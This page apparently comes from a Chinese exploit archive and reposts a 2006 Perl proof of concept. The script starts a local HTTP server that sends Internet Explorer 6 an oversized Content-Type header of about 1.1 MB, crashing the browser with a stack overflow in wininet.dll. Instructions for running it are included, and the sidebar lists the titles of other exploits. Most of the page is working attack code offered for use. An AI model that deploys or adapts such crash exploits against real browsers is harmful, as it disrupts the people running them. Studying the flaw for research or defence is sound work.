首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MS Internet Explorer 6 (Content-Type) Stack Overflow Crash
来源:vfocus.net 作者:vfocus 发布时间:2006-07-21  

#!/usr/bin/perl
# Stack overflow in wininet.dll while parsing huge( > ~1M) Content-Type response
# ex.: Unhandled exception at 0x771c00ee in IEXPLORE.EXE: 0xC00000FD: Stack overflow.
#
# discovered by Firestorm
#
# Usage:
# 1) run this code
# 2) open http://127.0.0.1/ with IE
#

use IO::Socket;
my $sock=new IO::Socket::INET (Listen => 1,
LocalAddr => 'localhost',
LocalPort => 80,
Proto => 'tcp');
die unless $sock;
$huge="A" x 1100000;
$|=1;
print ">http server started on port 80... try 'iexplore http://127.0.0.1/' \n";
$z=$sock->accept();
print ">connection!\n";
do
{
$ln=<$z>;
print $ln;
chomp $ln;

if (($ln eq "")||($ln eq "\n")||($ln eq "\r"))
{
print ">sending response\n";
print $z "HTTP/1.1 200 OK\r\nServer: X3 1.0\r\nContent-Type: $huge\r\nConnection: close\r\n\r\ndone";
close($z);
exit;
}
} while (true);




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Cisco/Protego CS-MARS < 4.2
·MS Windows Mailslot Ring0 Memo
·FileCOPA FTP Server <= 1.01
·D-Link Router UPNP Stack Overf
·Dumb <= 0.9.3 (it_read_enve
·Cheese Tracker <= 0.9.9 Loc
·Linux Kernel 2.6.13 <= 2.6.
·Microsoft IIS ASP Stack Overfl
·Eskolar CMS 0.9.0.0 Remote Bli
·Blackorpheus ClanMemberSkript
·Invision Power Board 2.1 <=
·FlexBB <= 0.5.5 (/inc/start
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved